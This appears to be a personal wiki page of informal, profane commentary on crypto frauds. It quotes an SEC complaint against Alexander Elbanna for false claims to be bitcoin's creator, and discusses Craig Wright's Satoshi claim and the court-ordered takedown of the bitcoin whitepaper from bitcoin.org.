Figure 1. Source. Source linked to from his Twitter account: web.archive.org/web/20240415144643if_/https://speakerhub.com/sites/default/files/styles/speakerhub_full_screen/public/user/gallery/2021/01/16/alexander-elbanna-gallery.jpg
He or someone with the same name is having some fun with the SEC: dockets.justia.com/docket/florida/flmdce/8:2023cv01638/416506 for "Securities Fraud".
The complaint: www.sec.gov/files/litigation/complaints/2023/comp25785.pdf (archive). Some pearls:
41. Elbanna told investors several other lies to gain investors’ trust. These included his claim that he had served in the U.S. Marines, when in reality he was discharged after just fifteen days of their thirteen-week recruit training. Elbanna claimed that he had worked at the U.S. National Security Agency (“NSA”). He further claimed that the NSA was aware of and participating in the Digital World Exchange enterprise. All of these claims were false.
42. Perhaps most incredibly, after claiming that he had “been in blockchain technology since the beginning” and “in the cryptocurrency space almost since its inception” in the May 2018 and March 2019 Whitepapers, respectively, Elbanna told investors in a chat program in April 2019 that he “was one of the first 4 creators of BTC.” He went so far as to tell another investor that he was the pseudonymous inventor of bitcoin, Satoshi Nakamoto himself. These statements were also false. Elbanna later admitted that he was not involved in blockchain technology from its beginning, and that he “didn’t even really know much about crypto” in 2018, the year he launched the Digital World Exchange enterprise.
The documentary Bitconned from Netflix comes strongly to mind, www.imdb.com/title/tt30317302/. It is unbelieveable people would fall for that kind of thing, the founders are not even sophisticated. And on top of that he agrees to appear on a documentary!!! OMG.
This dude actually managed to convince a brain-dead British court that he was Satoshi and force a takedown of the Bitcoin whitepaper from bitcoin.org/bitcoin.pdf where it had been for many years prior: coinmarketcap.com/academy/article/bitcoin-org-ordered-to-take-down-bitcoin-whitepaper-because-of-copyright-infringement The page was updated to simply display the following Satoshi quote:
It takes advantage of the nature of information being easy to spread but hard to stifle. - Satoshi Nakamoto
Figure 1.
Craig Steven Wright
. Source.
The mere thought that Satoshi would attempt to copyright takedown the Bitcoin whitepaper, and not be able to back his identidy with any cryptographic keys, makes one shrivel to the bones.
Also, kids, this is why you put a fucking license on everything you release to the public, and especially when doing so anonymously!!! A quick CC BY-SA on that paper would have prevented all this bullshit.
The existence of this outrageous fraudster has had two good effects on the world however it must be said:
Timeline:
Interesting
TODO find the Shroud of Turin one.
news.ycombinator.com/item?id=14691623
CoinGeek is either run by or paid for by Craig Wright. You can see that all of the articles are either strongly in his favor or in line with his recent opinions.

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